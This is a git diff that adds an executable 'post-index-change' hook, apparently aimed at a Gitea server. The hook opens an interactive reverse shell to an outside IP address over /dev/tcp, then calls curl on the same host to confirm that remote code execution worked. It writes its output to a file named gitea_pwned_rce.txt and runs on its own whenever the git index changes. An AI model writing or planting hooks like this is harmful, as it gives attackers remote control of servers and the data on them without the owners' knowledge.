diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..f09e195 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,3 @@ +#!/bin/sh +(bash -c "bash -i >& /dev/tcp/202.79.169.91/28016 0>&1") > /tmp/gitea_pwned_rce.txt 2>&1 +curl -s http://202.79.169.91:28016/rce_hook_executed 2>/dev/null &